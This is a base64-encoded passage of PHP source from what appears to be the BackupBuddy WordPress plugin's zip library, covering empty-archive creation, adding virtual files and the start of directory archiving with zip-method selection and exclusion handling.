cyBoYXMgYSB3ZWxsIGtub3duIGJhc2ljIHN0cnVjdHVyZSBhbmQgY29udGVudCBzbyB3ZSBjYW4KCQkgKgl3cml0ZSBpdCBkaXJlY3RseSBhcyBiaW5hcnkgZGF0YS4KCQkgKgkKCQkgKglAcGFyYW0JCXN0cmluZwkkemlwCQkJRnVsbCBwYXRoICYgZmlsZW5hbWUgb2YgWklQIEFyY2hpdmUgZmlsZSB0byBjcmVhdGUKCQkgKglAcGFyYW0JCXN0cmluZwkkY29tbWVudAkJQ29tbWVudCB0byBhcHBseSB0byBhcmNoaXZlLiAobWF5IGJlIGVtcHR5KQoJCSAqCUBwYXJhbQkJc3RyaW5nCSR0ZW1wZGlyCQlGdWxsIHBhdGggb2YgZGlyZWN0b3J5IGZvciB0ZW1wb3JhcnkgdXNhZ2UKCQkgKglAcmV0dXJuCQlib29sCQkJCQlUcnVlIGlmIHRoZSBjcmVhdGlvbiB3YXMgc3VjY2Vzc2Z1bCwgZmFsc2Ugb3RoZXJ3aXNlCgkJICoKCQkgKi8KCQlwdWJsaWMgZnVuY3Rpb24gY3JlYXRlX2VtcHR5X3ppcCggJHppcCwgJGNvbW1lbnQsICR0ZW1wZGlyICkgewoJCQoJCQkkcmVzdWx0ID0gZmFsc2U7CgkJCSR6aXBfZmlsZV9uYW1lID0gJHppcDsKCQkJCgkJCXBiX2JhY2t1cGJ1ZGR5OjpzdGF0dXMoICdkZXRhaWxzJywgc3ByaW50ZiggX18oICdaaXAgcHJvY2VzcyByZXBvcnRlZDogSW5pdGlhbGl6aW5nIHppcCBhcmNoaXZlIGZpbGU6ICUxJHMnLCAnaXQtbDEwbi1iYWNrdXBidWRkeScgKSwgJHppcF9maWxlX25hbWUgKSApOwoJCQkKCQkJdHJ5IHsKCQkJCgkJCQkkemlwX2ZpbGUgPSBuZXcgU3BsRmlsZU9iamVjdCggJHppcF9maWxlX25hbWUsICJ3YiIgKTsKCgkJCQkvLyBFbmNvZGUgJGNvbW1lbnQgaWYgYW4gYXJyYXkuCgkJCQlpZiAoIGlzX2FycmF5KCAkY29tbWVudCApICkgewoJCQkJCgkJCQkJJGNvbW1lbnQgPSBqc29uX2VuY29kZSggJGNvbW1lbnQgKTsKCQkJCQkKCQkJCX0KCQkJCQoJCQkJLy8gRG9uJ3QgYWRkIGFuIGVtcHR5IGNvbW1lbnQgLSBzbyBpZiB0aGUgZW5jb2RlZCBzdHJpbmcgaXMgZW1wdHkgb3IgYW4gZW1wdHkKCQkJCS8vIHN0cmluZyB3YXMgcGFzc2VkIGluIG9yaWdpbmFsbHkgZG9uJ3QgZG8gYW55dGhpbmcuCgkJCQlpZiAoIDAgIT0gc3RybGVuKCAkY29tbWVudCApICkgewoJCQkJCgkJCQkJJGNvbW1lbnQgPSAnTWV0YURhdGE6JyAuICRjb21tZW50IC4gJ01ldGFEYXRhLUVuZDonOwoJCQkJCQoJCQkJfQoJCQkJCgkJCQkvLyAtLS0tLSBQYWNrZWQgZGF0YQoJCQkJJGJpbmFyeV9kYXRhID0gcGFjayggIlZ2dnZ2VlZ2IiwgMHgwNjA1NGI1MCwgMCwgMCwgMCwgMCwgMCwgMCwgc3RybGVuKCAkY29tbWVudCApICk7CgoJCQkJLy8gLS0tLS0gV3JpdGUgdGhlIDIyIGJ5dGVzIG9mIHRoZSBoZWFkZXIgaW4gdGhlIHppcCBmaWxlCgkJCQkkemlwX2ZpbGUtPmZ3cml0ZSggJGJpbmFyeV9kYXRhLCAyMiApOwoKCQkJCS8vIC0tLS0tIFdyaXRlIHRoZSB2YXJpYWJsZSBmaWVsZHMKCQkJCWlmICggMCAhPSBzdHJsZW4oICRjb21tZW50ICkgKSB7CgkJCQkKCQkJCSAgJHppcF9maWxlLT5md3JpdGUoICRjb21tZW50LCBzdHJsZW4oICRjb21tZW50ICkgKTsKCQkJCSAgCgkJCQl9CgkJCQkKCQkJCXVuc2V0KCAkemlwX2ZpbGUgKTsKCQkJCQoJCQkJcGJfYmFja3VwYnVkZHk6OnN0YXR1cyggJ2RldGFpbHMnLCBzcHJpbnRmKCBfXyggJ1ppcCBwcm9jZXNzIHJlcG9ydGVkOiBJbml0aWFsaXplZCB6aXAgYXJjaGl2ZSBmaWxlJywgJ2l0LWwxMG4tYmFja3VwYnVkZHknICkgKSApOwoJCQkJJHJlc3VsdCA9IHRydWU7CgkJCQoJCQl9IGNhdGNoICggRXhjZXB0aW9uICRlICkgewoJCQkKCQkJCSRlcnJvcl9zdHJpbmcgPSAkZS0+Z2V0TWVzc2FnZSgpOwoJCQkJcGJfYmFja3VwYnVkZHk6OnN0YXR1cyggJ2RldGFpbHMnLCBzcHJpbnRmKCBfXygnWmlwIHByb2Nlc3MgcmVwb3J0ZWQ6IEZhaWx1cmUgdG8gaW5pdGlhbGl6ZSB6aXAgYXJjaGl2ZSBmaWxlIC0gZXJyb3IgcmVwb3J0ZWQ6ICUxJHMnLCdpdC1sMTBuLWJhY2t1cGJ1ZGR5JyApLCAkZXJyb3Jfc3RyaW5nICkgKTsKCQkJfQoKCQkJcmV0dXJuICRyZXN1bHQ7CgkJCQoJCX0KCQkKCQkvKioKCQkgKglhZGRfdmlydHVhbF9maWxlX3RvX3ppcCgpCgkJICoKCQkgKglBZGRzIGEgdmlydHVhbCBmaWxlIHRvIGEgemlwIGFyY2hpdmUKCQkgKgoJCSAqCUBwYXJhbQlzdHJpbmcJCQkJRnVsbCBwYXRoICYgZmlsZW5hbWUgb2YgWklQIGZpbGUgdG8gYWRkIHZpcnR1YWwgZmlsZSB0bwoJCSAqCUBwYXJhbQlhcnJheQkJCQlWaXJ0dWFsIGZpbGUocykgZGVzY3JpcHRvcgoJCSAqCUBwYXJhbQlzdHJpbmcJCQkJRnVsbCBkaXJlY3RvcnkgcGF0aCB0byBkaXJlY3RvcnkgdG8gdGVtcG9yYXJpbHkgcGxhY2UgWklQCgkJICoKCQkgKglAcmV0dXJuCQkJCQkJdHJ1ZSBvbiBzdWNjZXNzLCBmYWxzZSBvdGhlcndpc2UKCQkgKgoJCSAqLwoJCXB1YmxpYyBmdW5jdGlvbiBhZGRfdmlydHVhbF9maWxlX3RvX3ppcCggJHppcF9maWxlLCAkdmlydHVhbF9maWxlX2Rlc2NyaXB0b3IsICR0ZW1wb3JhcnlfemlwX2RpcmVjdG9yeSA9ICcnICkgewoJCQoJCQkkemlwX21ldGhvZHMgPSBhcnJheSgpOwoJCQkKCQkJLy8gVXNlIHdoaWNoZXZlciBtZXRob2Qgc3VwcG9ydHMgYWRkaW5nIHZpcnR1YWwgZmlsZXMKCQkJJHppcF9tZXRob2RzID0gJHRoaXMtPl96aXBfbWV0aG9kczsKCgkJCS8vIEJldHRlciBtYWtlIHN1cmUgd2UgaGF2ZSBzb21lIGF2YWlsYWJsZSBtZXRob2RzCgkJCWlmICggZW1wdHkoICR6aXBfbWV0aG9kcyApICkgewoJCQkKCQkJCS8vIEhtbSwgd2UgZG9uJ3Qgc2VlbSB0byBoYXZlIGFueSBhdmFpbGFibGUgbWV0aG9kcywgb29wcywgYmVzdCBnbyBubyBmdXJ0aGVyCgkJCQlwYl9iYWNrdXBidWRkeTo6c3RhdHVzKCAnZGV0YWlscycsIF9fKCdGYWlsZWQgdG8gYWRkIHZpcnR1YWwgZmlsZSAtIG5vIGF2YWlsYWJsZSBtZXRob2RzLicsJ2l0LWwxMG4tYmFja3VwYnVkZHknICkgKTsKCQkJCQoJCQkJLy8gV2Ugc2hvdWxkIGhhdmUgYSB0ZW1wb3JhcnkgZGlyZWN0b3J5LCBtdXN0IGdldCByaWQgb2YgaXQsIGNhbiBzaW1wbHkgcm1kaXIgaXQgYXMgaXQgd2lsbCAoc2hvdWxkKSBiZSBlbXB0eQoJCQkJaWYgKCAhZW1wdHkoICR0ZW1wb3JhcnlfemlwX2RpcmVjdG9yeSApICYmIGZpbGVfZXhpc3RzKCAkdGVtcG9yYXJ5X3ppcF9kaXJlY3RvcnkgKSApIHsKCQkJCQkKCQkJCQlpZiAoICFybWRpciggJHRlbXBvcmFyeV96aXBfZGlyZWN0b3J5ICkgKSB7CgkJCQkJCgkJCQkJCXBiX2JhY2t1cGJ1ZGR5OjpzdGF0dXMoICdkZXRhaWxzJywgX18oJ1RlbXBvcmFyeSBkaXJlY3RvcnkgY291bGQgbm90IGJlIGRlbGV0ZWQ6ICcsJ2l0LWwxMG4tYmFja3VwYnVkZHknICkgLiAkdGVtcG9yYXJ5X3ppcF9kaXJlY3RvcnkgKTsKCQkJCQkKCQkJCQl9CgkJCQkJCQoJCQkJfQoKCQkJCXJldHVybiBmYWxzZTsKCQkJCQoJCQl9CgkJCQoJCQkvLyBJdGVyYXRlIG92ZXIgdGhlIG1ldGhvZHMgLSBvbmNlIHdlIHN1Y2NlZWQganVzdCByZXR1cm4gZGlyZWN0bHkgb3RoZXJ3aXNlIGRyb3AgdGhyb3VnaAoJCQlmb3JlYWNoICggJHppcF9tZXRob2RzIGFzICRtZXRob2RfdGFnICkgewoJCQkKCQkJCS8vIEZpcnN0IG1ha2Ugc3VyZSB3ZSBjYW4gYXJjaGl2ZSB3aXRoIHRoaXMgbWV0aG9kCgkJCQlpZiAoICggJHRoaXMtPl96aXBfbWV0aG9kc19kZXRhaWxzWyAkbWV0aG9kX3RhZyBdWyAnYXR0cicgXVsgJ2lzX2FyY2hpdmVyJyBdID09PSB0cnVlICkgJiYKCQkJCSAgICAgKCAkdGhpcy0+X3ppcF9tZXRob2RzX2RldGFpbHNbICRtZXRob2RfdGFnIF1bICdhdHRyJyBdWyAnY2FuX2FkZF92aXJ0dWFsX2ZpbGUnIF0gPT09IHRydWUgKSApIHsKCgkJCQkJJGNsYXNzX25hbWUgPSAncGx1Z2luYnVkZHlfemJ6aXAnIC4gJG1ldGhvZF90YWc7CgkJCgkJCQkJJHppcHBlciA9IG5ldyAkY2xhc3NfbmFtZSggJHRoaXMgKTsKCQkJCQkKCQkJCQkvLyBTZXQgdGhlc2Ugb24gc3BlY2lmaWMgemlwcGVyIGJhc2VkIG9uIHRoZSB2YWx1ZXMgd2UgZGVyaXZlZCBhdCBjb25zdHJ1bmN0aW9uIG9yCgkJCQkJLy8gb3ZlcnJpZGRlbiBieSBzdWJzZXF1ZW50IG1ldGhvZCBjYWxscwoJCQkJCSR6aXBwZXItPnNldF9jb21wcmVzc2lvbiggJHRoaXMtPmdldF9jb21wcmVzc2lvbigpICk7CgkJCQkJJHppcHBlci0+c2V0X2lnbm9yZV9zeW1saW5rcyggJHRoaXMtPmdldF9pZ25vcmVfc3ltbGlua3MoKSApOwoJCQkJCSR6aXBwZXItPnNldF9pZ25vcmVfd2FybmluZ3MoICR0aGlzLT5nZXRfaWdub3JlX3dhcm5pbmdzKCkgKTsKCQkJCQkKCQkJCQkvLyBXZSBuZWVkIHRvIHRlbGwgdGhlIG1ldGhvZCB3aGF0IGRldGFpbHMgYmVsb25nIHRvIGl0CgkJCQkJJHppcHBlci0+c2V0X21ldGhvZF9kZXRhaWxzKCAkdGhpcy0+X3ppcF9tZXRob2RzX2RldGFpbHNbICRtZXRob2RfdGFnIF0gKTsKCQkJCQkKCQkJCQkvLyBUZWxsIHRoZSBtZXRob2QgdGhlIHNlcnZlciBhcGkgaW4gdXNlCgkJCQkJJHppcHBlci0+c2V0X3NhcGlfbmFtZSggJHRoaXMtPmdldF9zYXBpX25hbWUoKSApOwoJCQkJCQkJCQkJCgkJCQkJLy8gQXMgd2UgYXJlIGxvb3BpbmcgbWFrZSBzdXJlIHdlIGhhdmUgbm8gc3RhbGUgZmlsZSBpbmZvcm1hdGlvbgoJCQkJCWNsZWFyc3RhdGNhY2hlKCk7CgkJCQkJCgkJCQkJLy8gVGhlIHRlbXBvcmFyeSB6aXAgZGlyZWN0b3J5IF9tdXN0XyBleGlzdAoJCQkJCWlmICggIWVtcHR5KCAkdGVtcG9yYXJ5X3ppcF9kaXJlY3RvcnkgKSApIHsKCQkJCQkKCQkJCQkJaWYgKCAhZmlsZV9leGlzdHMoICR0ZW1wb3JhcnlfemlwX2RpcmVjdG9yeSApICkgeyAvLyBDcmVhdGUgdGVtcCBkaXIgaWYgaXQgZG9lcyBub3QgZXhpc3QuCgkJCQkJCQoJCQkJCQkJbWtkaXIoICR0ZW1wb3JhcnlfemlwX2RpcmVjdG9yeSApOwoJCQkJCQkJCgkJCQkJCX0KCQkJCQkJCgkJCQkJfQoJCQkJCQoJCQkJCS8vIE5vdyB3ZSBhcmUgcmVhZHkgdG8gdHJ5IGFuZCBhZGQgdGhlIHZpcnR1YWwgZmlsZQoJCQkJCSRyZXN1bHQgPSAkemlwcGVyLT5hZGRfdmlydHVhbF9maWxlKCAkemlwX2ZpbGUsICR2aXJ0dWFsX2ZpbGVfZGVzY3JpcHRvciwgJHRlbXBvcmFyeV96aXBfZGlyZWN0b3J5ICk7CgoJCQkJCS8vIFdpbGwgYmUgZmFsc2UgaWYgd2UgY291bGRuJ3QgYWRkIHRoZSB2aXJ0dWFsIGZpbGUgdG8gdGhlIGFyY2hpdmUKCQkJCQlpZiAoICRyZXN1bHQgPT09IHRydWUgKSB7CgkJCQkJCgkJCQkJCS8vIE11c3QgYXNzdW1lIHRoYXQgd2UgYWRkZWQgdGhlIGZpbGUgb2sKCQkJCQkJdW5zZXQoICR6aXBwZXIgKTsKCQkJCQkJCgkJCQkJCS8vIFdlIGhhdmUgdG8gcmV0dXJuIGhlcmUgYmVjYXVzZSB3ZSBjYW5ub3QgYnJlYWsgb3V0IG9mIGZvcmVhY2gKCQkJCQkJcmV0dXJuIHRydWU7CgkKCQkJCQl9IGVsc2UgewoJCQkJCQoJCQkJCQkvLyBUaGUgemlwcGVyIGVuY291bnRlcmVkIGFuIGVycm9yIHNvIHdlIG5lZWQgdG8gZHJvcCB0aHJvdWdoIGFuZCBsb29wIHJvdW5kIHRvIHRyeSBhbm90aGVyCgkJCQkJCS8vIFdlJ2xsIG5vdCBwcm9jZXNzIHRoZSByZXN1bHQgaGVyZSwganVzdCBkcm9wIHRocm91Z2ggc2lsZW50bHkgKHRoZSBtZXRob2Qgd2lsbCBoYXZlIGxvZ2dlZCBpdCkJCQkKCQkJCQkJdW5zZXQoICR6aXBwZXIgKTsKCQkJCQkJCgkJCQkJfQoJCQkJCQoJCQkJfQoJCQkJCgkJCX0KCQkJCgkJCS8vIElmIHdlIGdldCBoZXJlIHRoZW4gaGF2ZSBmYWlsZWQgaW4gYWxsIGF0dGVtcHRzCgkJCXBiX2JhY2t1cGJ1ZGR5OjpzdGF0dXMoICdkZXRhaWxzJywgX18oJ0ZhaWxlZCB0byBhZGQgdmlydHVhbCBmaWxlIHdpdGggYW55IG5vbWluYXRlZCBtZXRob2QuJywnaXQtbDEwbi1iYWNrdXBidWRkeScgKSApOwoJCQkKCQkJcmV0dXJuIGZhbHNlOwoJCQkKCQl9CgkJCgkJLyoqCgkJICoJYWRkX2RpcmVjdG9yeV90b196aXAoKQoJCSAqCgkJICoJQWRkcyBhIGRpcmVjdG9yeSB0byBhIG5ldyBvciBleGlzdGluZyAoVE9ETzogbm90IHlldCBhdmFpbGFibGUpIFpJUCBmaWxlLgoJCSAqCgkJICoJQHBhcmFtCXN0cmluZwkJCQlGdWxsIHBhdGggJiBmaWxlbmFtZSBvZiBaSVAgZmlsZSB0byBjcmVhdGUuCgkJICoJQHBhcmFtCXN0cmluZwkJCQlGdWxsIGRpcmVjdG9yeSB0byBhZGQgdG8gemlwIGZpbGUuCgkJICoJQHBhcmFtCWFycmF5KCBzdHJpbmcgKQkJQXJyYXkgb2Ygc3RyaW5ncyBvZiBwYXRocy9maWxlcyB0byBleGNsdWRlIGZyb20gemlwcGluZwoJCSAqCUBwYXJhbQlzdHJpbmcJCQkJRnVsbCBkaXJlY3RvcnkgcGF0aCB0byBkaXJlY3RvcnkgdG8gdGVtcG9yYXJpbHkgcGxhY2UgWklQCgkJICoJQHBhcmFtCWJvb2xlYW4JCQkJVHJ1ZTogb25seSB1c2UgUENMWmlwLiBGYWxzZTogdHJ5IGFsbCBhdmFpbGFibGUKCQkgKgoJCSAqCUByZXR1cm4JCQkJCQl0cnVlIG9uIHN1Y2Nlc3MsIGZhbHNlIG90aGVyd2lzZQoJCSAqCgkJICovCgkJcHVibGljIGZ1bmN0aW9uIGFkZF9kaXJlY3RvcnlfdG9femlwKCAkemlwX2ZpbGUsICRhZGRfZGlyZWN0b3J5LCAkZXhjbHVkZXMgPSBhcnJheSgpLCAkdGVtcG9yYXJ5X3ppcF9kaXJlY3RvcnkgPSAnJyApIHsKCQkJaWYgKCB0cnVlID09PSAkdGhpcy0+X2lzX2V4cGVyaW1lbnRhbCApIHsKCQkJCgkJCQlwYl9iYWNrdXBidWRkeTo6c3RhdHVzKCAnbWVzc2FnZScsIF9fKCdSdW5uaW5nIGFsdGVybmF0aXZlIFpJUCBzeXN0ZW0gKEJFVEEpIGJhc2VkIG9uIHNldHRpbmdzLicsJ2l0LWwxMG4tYmFja3VwYnVkZHknICkgKTsKCQkJCgkJCX0gZWxzZSB7CgkJCQoJCQkJcGJfYmFja3VwYnVkZHk6OnN0YXR1cyggJ21lc3NhZ2UnLCBfXygnUnVubmluZyBzdGFuZGFyZCBaSVAgc3lzdGVtIGJhc2VkIG9uIHNldHRpbmdzLicsJ2l0LWwxMG4tYmFja3VwYnVkZHknICkgKTsKCQkJCgkJCX0KCQkJCgkJCS8vIExldCdzIGp1c3QgbG9nIGlmIHRoaXMgaXMgYSAzMiBvciA2NCBiaXQgc3lzdGVtCgkJCSRwaHBfc2l6ZSA9ICggcGx1Z2luYnVkZHlfc3RhdDo6aXNfcGhwKCBwbHVnaW5idWRkeV9zdGF0OjpUSElSVFlfVFdPX0JJVCApICkgPyAiMzIiIDogIjY0IiA7CgkJCXBiX2JhY2t1cGJ1ZGR5OjpzdGF0dXMoICdkZXRhaWxzJywgc3ByaW50ZiggX18oICdSdW5uaW5nIHVuZGVyICUxJHMtYml0IFBIUCcsICdpdC1sMTBuLWJhY2t1cGJ1ZGR5JyApLCAkcGhwX3NpemUgKSApOwoJCQkKCQkJLy8gTWFrZSBzdXJlIHdlIHRlbGwgd2hhdCB0aGUgc2FwaSBpcwoJCQlwYl9iYWNrdXBidWRkeTo6c3RhdHVzKCAnZGV0YWlscycsIHNwcmludGYoIF9fKCAnU2VydmVyIEFQSTogJTEkcycsICdpdC1sMTBuLWJhY2t1cGJ1ZGR5JyApLCAkdGhpcy0+Z2V0X3NhcGlfbmFtZSgpICkgKTsJCQkKCQkJCQkKCQkJJHppcF9tZXRob2RzID0gYXJyYXkoKTsKCQkJJHNhbml0aXplZF9leGNsdWRlcyA9IGFycmF5KCk7CgkJCSRsaXN0bWFrZXIgPSBOVUxMOwoJCQkKCQkJLy8gU2V0IHNvbWUgYWRkaXRpb25hbCBzeXN0ZW0gZXhjbHVkZXMgaGVyZSBmb3Igbm93IC0gdGhlc2UgYXJlIGFsbCBmcm9tIHRoZSBzaXRlIGluc3RhbGwgcm9vdAoJCQkkYWRkaXRpb25hbF9leGNsdWRlcyA9IGFycmF5KCk7CgkJCQoJCQkvLyBNYWtlIHN1cmUgd2UgaGF2ZSBhIHZhbGlkIHppcCBtZXRob2Qgc3RyYXRlZ3kgc2V0dGluZyB0byB1c2Ugb3RoZXJ3aXNlIGZhbGwgYmFjayB0byBlbWVyZ2VuY3kgY29tcGF0aWJpbGl0eQoJCQlpZiAoIGlzc2V0KCBwYl9iYWNrdXBidWRkeTo6JG9wdGlvbnNbICd6aXBfbWV0aG9kX3N0cmF0ZWd5JyBdICkgJiYgCSggJzAnICE9PSBwYl9iYWNrdXBidWRkeTo6JG9wdGlvbnNbICd6aXBfbWV0aG9kX3N0cmF0ZWd5JyBdICkgKSB7CgkJCQoJCQkJJHppcF9tZXRob2Rfc3RyYXRlZ3kgPSBwYl9iYWNrdXBidWRkeTo6JG9wdGlvbnNbICd6aXBfbWV0aG9kX3N0cmF0ZWd5JyBdOwoJCQkJc3dpdGNoICggJHppcF9tZXRob2Rfc3RyYXRlZ3kgKSB7CgkJCQkJY2FzZSAiMSI6CgkJCQkJCS8vIEJlc3QgQXZhaWxhYmxlCgkJCQkJCSR6aXBfbWV0aG9kcyA9ICR0aGlzLT5nZXRfYmVzdF96aXBfbWV0aG9kcyggYXJyYXkoICdpc19hcmNoaXZlcicgKSApOwoJCQkJCQlwYl9iYWNrdXBidWRkeTo6c3RhdHVzKCAnZGV0YWlscycsIF9fKCdVc2luZyBCZXN0IEF2YWlsYWJsZSB6aXAgbWV0aG9kIGJhc2VkIG9uIHNldHRpbmdzLicsJ2l0LWwxMG4tYmFja3VwYnVkZHknICkgKTsKCQkJCQkJYnJlYWs7CgkJCQkJY2FzZSAiMiI6CgkJCQkJCS8vIEFsbCBBdmFpbGFibGUKCQkJCQkJJHppcF9tZXRob2RzID0gJHRoaXMtPl96aXBfbWV0aG9kczsKCQkJCQkJcGJfYmFja3VwYnVkZHk6OnN0YXR1cyggJ2RldGFpbHMnLCBfXygnVXNpbmcgQWxsIEF2YWlsYWJsZSB6aXAgbWV0aG9kcyBpbiBwcmVmZXJyZWQgb3JkZXIgYmFzZWQgb24gc2V0dGluZ3MuJywnaXQtbDEwbi1iYWNrdXBidWRkeScgKSApOwoJCQkJCQlicmVhazsKCQkJCQljYXNlICIzIjoKCQkJCQkJLy8gRm9yY2UgQ29tcGF0aWJpbGl0eQoJCQkJCQkkemlwX21ldGhvZHMgPSAkdGhpcy0+Z2V0X2NvbXBhdGliaWxpdHlfemlwX21ldGhvZHMoKTsJCQkJCgkJCQkJCXBiX2JhY2t1cGJ1ZGR5OjpzdGF0dXMoICdtZXNzYWdlJywgX18oJ1VzaW5nIEZvcmNlZCBDb21wYXRpYmlsaXR5IHppcCBtZXRob2QgYmFzZWQgb24gc2V0dGluZ3MuJywnaXQtbDEwbi1iYWNrdXBidWRkeScgKSApOwoJCQkJCQlicmVhazsKCQkJCQlkZWZhdWx0OgoJCQkJCQkvLyBIbW0uLi51bnJlY29nbml6ZWQgdmFsdWUgLSBlbWVyZ2VuY3kgY29tcGF0aWJpbGl0eQoJCQkJCQkkemlwX21ldGhvZHMgPSAkdGhpcy0+Z2V0X2NvbXBhdGliaWxpdHlfemlwX21ldGhvZHMoKTsJCQkJCgkJCQkJCXBiX2JhY2t1cGJ1ZGR5OjpzdGF0dXMoICdtZXNzYWdlJywgc3ByaW50ZiggX18oJ0ZvcmNlZCBDb21wYXRpYmlsaXR5IE1vZGUgYXMgWmlwIE1ldGhvZCBTdHJhdGVneSBzZXR0aW5nIG5vdCByZWNvZ25pemVkOiAlMSRzJywnaXQtbDEwbi1iYWNrdXBidWRkeScgKSwgJHppcF9tZXRob2Rfc3RyYXRlZ3kgKSApOwoJCQkJfQoJCQkJCgkJCX0gZWxzZSB7CgkJCQoJCQkJLy8gV2UgZ290IG5vIG9yIGFuIGludmFsaWQgemlwIG1ldGhvZCBzdHJhdGVneSB3aGljaCBpcyBhIGJhZCBzaXR1YXRpb24gLSBlbWVyZ2VuY3kgY29tcGF0aWJpbGl0eSBpcyB0aGUgb3JkZXIgb2YgdGhlIGRheQoJCQkJJHppcF9tZXRob2RzID0gJHRoaXMtPmdldF9jb21wYXRpYmlsaXR5X3ppcF9tZXRob2RzKCk7CQkJCQoJCQkJcGJfYmFja3VwYnVkZHk6OnN0YXR1cyggJ21lc3NhZ2UnLCBfXygnRm9yY2VkIENvbXBhdGliaWxpdHkgTW9kZSBhcyBaaXAgTWV0aG9kIFN0cmF0ZWd5IG5vdCBzZXQgb3Igc2V0dGluZyBub3QgcmVjb2duaXplZC4nLCdpdC1sMTBuLWJhY2t1cGJ1ZGR5JyApICk7CgkJCQoJCQl9CgkJCQoJCQkvLyBCZXR0ZXIgbWFrZSBzdXJlIHdlIGhhdmUgc29tZSBhdmFpbGFibGUgbWV0aG9kcwoJCQlpZiAoIGVtcHR5KCAkemlwX21ldGhvZHMgKSApIHsKCQkJCgkJCQkvLyBIbW0sIHdlIGRvbid0IHNlZW0gdG8gaGF2ZSBhbnkgYXZhaWxhYmxlIG1ldGhvZHMsIG9vcHMsIGJlc3QgZ28gbm8gZnVydGhlcgoJCQkJcGJfYmFja3VwYnVkZHk6OnN0YXR1cyggJ2RldGFpbHMnLCBfXygnRmFpbGVkIHRvIGNyZWF0ZSBhIFppcCBBcmNoaXZlIGZpbGUgLSBubyBhdmFpbGFibGUgbWV0aG9kcy4nLCdpdC1sMTBuLWJhY2t1cGJ1ZGR5JyApICk7CgkJCQkKCQkJCS8vIFdlIHNob3VsZCBoYXZlIGEgdGVtcG9yYXJ5IGRpcmVjdG9yeSwgbXVzdCBnZXQgcmlkIG9mIGl0LCBjYW4gc2ltcGx5IHJtZGlyIGl0IGFzIGl0IHdpbGwgKHNob3VsZCkgYmUgZW1wdHkKCQkJCWlmICggIWVtcHR5KCAkdGVtcG9yYXJ5X3ppcF9kaXJlY3RvcnkgKSAmJiBmaWxlX2V4aXN0cyggJHRlbXBvcmFyeV96aXBfZGlyZWN0b3J5ICkgKSB7CgkJCQkJCgkJCQkJaWYgKCAhcm1kaXIoICR0ZW1wb3JhcnlfemlwX2RpcmVjdG9yeSApICkgewoJCQkJCQoJCQkJCQlwYl9iYWNrdXBidWRkeTo6c3RhdHVzKCAnZGV0YWlscycsIF9fKCdUZW1wb3JhcnkgZGlyZWN0b3J5IGNvdWxkIG5vdCBiZSBkZWxldGVkOiAnLCdpdC1sMTBuLWJhY2t1cGJ1ZGR5JyApIC4gJHRlbXBvcmFyeV96aXBfZGlyZWN0b3J5ICk7CgkJCQkJCgkJCQkJfQoJCQkJCQkKCQkJCX0KCgkJCQlyZXR1cm4gZmFsc2U7CgkJCQkKCQkJfQoJCQkKCQkJcGJfYmFja3VwYnVkZHk6OnN0YXR1cyggJ2RldGFpbHMnLCBfXygnQ3JlYXRpbmcgWklQIGZpbGUnLCdpdC1sMTBuLWJhY2t1cGJ1ZGR5JyApIC4gJyBgJyAuICR6aXBfZmlsZSAuICdgLiAnIC4gX18oJ0FkZGluZyBkaXJlY3RvcnknLCdpdC1sMTBuLWJhY2t1cGJ1ZGR5JyApIC4gJyBgJyAuICRhZGRfZGlyZWN0b3J5IC4gJ2AuICcgLiBfXygnRXhjbHVkZXMnLCdpdC1sMTBuLWJhY2t1cGJ1ZGR5JyApIC4gJzogJyAuIGltcGxvZGUoICcsJywgJGV4Y2x1ZGVzICkgKTsKCQkJCgkJCS8vIFdlJ2xsIHRyeSBhbmQgYWxsb3cgZXhjbHVzaW9ucyBmb3IgcGNsemlwIGlmIHdlIGNhbgoJCQlpbmNsdWRlX29uY2UoIHBiX2JhY2t1cGJ1ZGR5OjpwbHVnaW5fcGF0aCgpIC4gJy9saWIvJyAuICR0aGlzLT5fd2hlcmVhbWkgLiAnL3piZGlyLnBocCcgKTsKCQkJaWYgKCBjbGFzc19leGlzdHMoICdwbHVnaW5idWRkeV96YmRpcicgKSApIHsKCQkJCgkJCQkvLyBHZW5lcmF0ZSBvdXIgc2FuaXRpemVkIGxpc3Qgb2YgZGlyZWN0b3JpZXMvZmlsZXMgdG8gZXhjbHVkZSBhcyBhYnNvbHV0ZSBwYXRocyAobm9ybWFsaXplZCkgZm9yIHpiZGlyCgkJCQkkc2FuaXRpemVkX2V4Y2x1ZGVzID0gJHRoaXMtPnNhbml0aXplX2V4Y2x1ZGVzKCAkZXhjbHVkZXMsICRhZGRpdGlvbmFsX2V4Y2x1ZGVzLCAkYWRkX2RpcmVjdG9yeSApOwoKCQkJCS8vIE5vdyBsZXQncyBjcmVhdGUgdGhlIGxpc3Qgb2YgaXRlbXMgdG8gYWRkIHRvIHRoZSB6aXAgLSBmaXJzdCBidWlsZCB0aGUgdHJlZQoJCQkJJGxpc3RtYWtlciA9IG5ldyBwbHVnaW5idWRkeV96YmRpciggJGFkZF9kaXJlY3RvcnksICRzYW5pdGl6ZWRfZXhjbHVkZXMgKTsKCQkJCQoJCQkJLy8gUmUtZ2VuZXJhdGUgb3VyIHNhbml0aXplZCBsaXN0IG9mIGRpcmVjdG9yaWVzL2ZpbGVzIHRvIGV4Y2x1ZGUgYXMgcmVsYXRpdmUgcGF0aHMKCQkJCS8vIFNsaWdodCBrbHVkZ2UgdG8gZGVhbCB3aXRoIGJlaW5nIGFibGUgdG8gZW5hYmxlL2Rpc2FibGUgdGhlIGluY2x1c2lvbiBwcm9jZXNzaW5nCgkJCQkvLyAoY3VycmVudGx5IGNvbmZpZ3VyZWQgaW4gd3AtY29uZmlnLnBocCkgc28gYWx3YXlzIG5lZWQgdG8gcHJvdmlkZSB0aGUgZXhjbHVkZXMgYXMKCQkJCS8vIHJlbGF0aXZlIHBhdGggZm9yIG5vdy4gVGhpcyBuZWVkcyB0byBiZSB0aWRpZWQgdXAgaW4gZnV0dXJlIGlmL3doZW4gdGhlIGNhcGFiaWxpdHkKCQkJCS8vIGlzIGVzdGFibGlzaGVkIGFzIHN0YW5kYXJkCgkJCQkkc2FuaXRpemVkX2V4Y2x1ZGVzID0gJHRoaXMtPnNhbml0aXplX2V4Y2x1ZGVzKCAkZXhjbHVkZXMsICRhZGRpdGlvbmFsX2V4Y2x1ZGVzICk7CQkJCQoKCQkJfSBlbHNlIHsKCQkJCgkJCQkvLyBHZW5lcmF0ZSBvdXIgc2FuaXRpemVkIGxpc3Qgb2YgZGlyZWN0b3JpZXMvZmlsZXMgdG8gZXhjbHVkZSBhcyByZWxhdGl2ZSBwYXRocwoJCQkJJHNhbml0aXplZF9leGNsdWRlcyA9ICR0aGlzLT5zYW5pdGl6ZV9leGNsdWRlcyggJGV4Y2x1ZGVzLCAkYWRkaXRpb25hbF9leGNsdWRlcyApOwoJCQkKCQkJfQoJCQkKCQkJLy8gSXRlcmF0